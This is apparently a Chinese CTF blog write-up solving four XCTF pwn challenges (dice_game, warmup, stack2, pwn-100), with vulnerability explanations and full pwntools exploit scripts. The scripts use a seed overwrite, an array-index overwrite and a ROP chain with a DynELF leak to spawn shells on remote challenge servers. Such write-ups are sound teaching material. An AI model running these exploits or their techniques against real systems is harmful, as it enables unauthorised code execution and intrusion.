dice_game
这题也是猜数,看起来就和前面的guess number那题一样。
只要进入sub_B28((__int64)buf);
这个函数就行了,这个函数悠flag
从这里可以知道如何覆盖seed:用buf,他们相差40h
这里是具体的猜数字部分,写exp时按着写就可以
参考之前guessnumber那题写exp
啊哈,果然是如出一辙,一样的exp搞定1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19#! /usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
from ctypes import *
context.log_level = 'debug'
io = remote('111.198.29.45', 44300)
#io = process('./dice_game')
libc = cdll.LoadLibrary("libc.so.6")
##在这个库里可以找到rand
pay = "A"*0x40+ p64(1) #从v7把seed[0]覆盖成1
io.sendlineafter("name: ",pay)
libc.srand(1)
for i in range(50):
num = str(libc.rand()%6+1)
io.sendlineafter("Give me the point(1~6): ",num)
io.interactive()
warmup
没有附件,有点头疼。。。
从网上直接找吧
先补充一下:
sprintf
sprintf:
C 库函数 int sprintf(char str, const char format, …) 发送格式化输出到 str 所指向的字符串。
就是将格式化字符串输出的值写入到第一个参数中。和print相比,print是将输出给到标准输出流(屏幕),而它是将输出给到它的第一个参数。
解题
来自:https://blog.csdn.net/levones/article/details/88233101[https://blog.csdn.net/levones/article/details/88233101]
这个程序没有开启任何的保护,而且文件是动态链接却没有给出libc
可以看到fprint是将sub_40060D
这个函数的地址给了s。而且这个sub_40060D
里面就是flag,执行这个函数就有flag。
最后还有一个gets函数,熟悉的gets()函数,通常一看到这个函数就八成有缓冲区溢出漏洞,可以看出程序为v5开辟了40H的存储空间,所以输入长度超过40H即可造成溢出。即溢出点可以通过计算得出:40H+8H=48H=72
那么只要溢出让他执行sub_40060D 这个函数就可以了嘛
stack2
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
题目长这样的
整体实现的功能就是1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit
这句话
查找题目中存在的漏洞,存在数组下标溢出:没有对输入的下标进行检查,导致我们可以在栈的任意位置进行写的操作。利用这个我们可以覆盖到这个函数的ret从而控制控制程序。找到ret我们就可以按照常规思路去让他执行system函数了。
程序中有一个后门函数hackhere但大佬说出题人在搭建docker环境时未注意,环境中只给了sh。也就是我们只能执行system(sh)来获得权限。
system函数从IDA的函数库上可以找到,sh也能从/bin/sh 截取下来。
然后就是ret地址在哪的问题了,看IDA char v13[100]; // [esp+38h] [ebp-70h]
以为是0x70+4=116,但是实际上不行。正确的地址是0x84(132)只能自己去调试了
那只能这么理解了
exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43from pwn import *
g_local=0
context.log_level='debug'
if g_local:
sh = process('./stack2')#env={'LD_PRELOAD':'./libc.so.6'}
gdb.attach(sh)
else:
sh = remote("111.198.29.45", 48837)
def write_byte(off, val):
sh.send("3\n")
sh.recvuntil("which number to change:\n")
sh.send(str(off) + "\n")
sh.recvuntil("new number:\n")
sh.send(str(val) + "\n")
sh.recvuntil("5. exit\n")
def write_dword(off, val):
#off就是数组下标,而数组的溢出点在0x84(V13[0x84]处是返回地址,因为他不检查数组溢出,这个下标的位置就算rep)
## 这个函数其实实现的就是将val的地址逆序输入到V13[off]的地址处(小断序)
write_byte(off, val & 0xff)
write_byte(off + 1, (val >> 8) & 0xff)
write_byte(off + 2, (val >> 16) & 0xff)
write_byte(off + 3, (val >> 24) & 0xff)
## 通过4个write_byte 函数 实现了通过利用数组赋值完成将返回地址覆盖成sys地址的目的
def exit():
sh.send("5\n")
sh.interactive()
sh.recvuntil("How many numbers you have:\n")
sh.send("1\n")
sh.recvuntil("Give me your numbers\n")
sh.send("1\n")
sh.recvuntil("5. exit\n")
write_dword(0x84, 0x8048450)##数组V13[0x84]处
write_dword(0x8C, 0x8048980 + 7)
##0x8c指向system函数的参数:0x84+4+4(其中ret返回地址4个字节,即0x84-0x87,0x88-0x8B是system函数的返回地址,占4个字节)
##0X8048980是字符串/bin/sh的地址。+7是因为我们只要其中的sh这两个字符
exit() ##exit结束main函数,然后就会跳到它的返回地址执行system函数,而且system函数的参数也被我们布置成sh。运行后我们就可以得到权限
看了好久才看懂它自己定义的两个函数,就是完成一个小端序下输入system函数的地址,和sh的地址这两件事
一样的代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/python
#coding:utf-8
from pwn import*
system_addr=0x080485AF
leave_offset=0x84
def write_addr(addr,va):
io.sendline("3")
io.recvuntil("which number to change:\n")
io.sendline(str(addr))
io.recvuntil("new number:\n")
io.sendline(str(va))
io.recvuntil("5. exit\n")
io=remote('111.198.29.45','31725')
io.recvuntil("How many numbers you have:\n")
io.sendline("1")
io.recvuntil("Give me your numbers\n")
io.sendline("1")
io.recvuntil("5. exit\n")
# write system_addr 0x08048450
write_addr(leave_offset,0X50)
write_addr(leave_offset+1,0X84)
write_addr(leave_offset+2,0X04)
write_addr(leave_offset+3,0X08)
# sh_addr 0x08048987
leave_offset+=8
print leave_offset
write_addr(leave_offset,0x87)
write_addr(leave_offset+1,0X89)
write_addr(leave_offset+2,0X04)
write_addr(leave_offset+3,0X08)
io.sendline("5")
io.interactive()
————————————————
版权声明:本文为CSDN博主「NYIST皮皮虾」的原创文章,遵循CC 4.0 by-sa版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_41071646/article/details/86600053
链接:
https://www.xctf.org.cn/library/details/8723e039db0164e2f7345a12d2edd2a5e800adf7/
https://blog.csdn.net/qq_41071646/article/details/86600053
pwn-100
i春秋的帖子
这个很重要!!!!
利用思路
无libc,无system,无”/bin/sh”,有read,puts函数
1.利用DynELF模块泄露system函数地址
2.构造rop链,写入”/bin/sh”
3.调用system函数
解题
/bin/sh可写的空间
pop_rdi
把binsh写入哪里呢?
查找可以写入/bin/sh的地址gdb-peda$ vmmap
找到可写的地址=。=
利用DynELF存在一个问题,puts函数输出的数据长度是不受控的,只要我们输出的信息中包含/x00截断符,输出就会终止,且会自动将“\n”追加到输出字符串的末尾,这是puts函数的缺点
##exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58#!usr/bin/python
#coding=utf-8
from pwn import *
# context.log_level = 'debug'
io = remote('111.198.29.45',46875)
#io = process("./pwn-100")
elf = ELF("./pwn-100")
rop1 = 0x40075A #pop rbx_rbp_r12_r13_r14_r15
rop2 = 0x400740 #rdx(r13), rsi(r14), edi(r15d)
pop_rdi_ret = 0x400763
# start_addr = elf.symbols['_start']
start_addr = 0x400550
puts_plt = elf.plt['puts']
read_got = elf.got['read']
binsh_addr = 0x601000
def leak(addr):
payload = "a" * 0x48 + p64(pop_rdi_ret) + p64(addr) + p64(puts_plt) + p64(start_addr)
payload = payload.ljust(200, "a")
io.send(payload)
io.recvuntil("bye~\n")
up = ""
content = ""
count = 0
while True:
c = io.recv(numb=1, timeout=0.5)
count += 1
if up == '\n' and c == "":
content = content[:-1] + '\x00'
break
else:
content += c
up = c
content = content[:4]
log.info("%#x => %s" % (addr, (content or '').encode('hex')))
return content
d = DynELF(leak, elf = elf)
sys_addr = d.lookup('system', 'libc')
log.info("system_addr => %#x", sys_addr)
payload = "a" * 0x48 + p64(rop1) + p64(0) + p64(1) + p64(read_got) + p64(8) + p64(binsh_addr) + p64(1)
payload += p64(rop2)
payload += "\x00" * 56 #rop2结束又跳转到rop1,需要再填充7 * 8字节到返回地址
payload += p64(start_addr)
payload = payload.ljust(200, "a")
io.send(payload)
io.recvuntil("bye~\n")
# gdb.attach(io)
io.send("/bin/sh\x00")
payload = "a" * 0x48 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(sys_addr)
payload = payload.ljust(200, "a")
io.send(payload)
io.interactive()
https://www.jianshu.com/p/463d2fafb538
https://blog.csdn.net/qq_41071646/article/details/86559557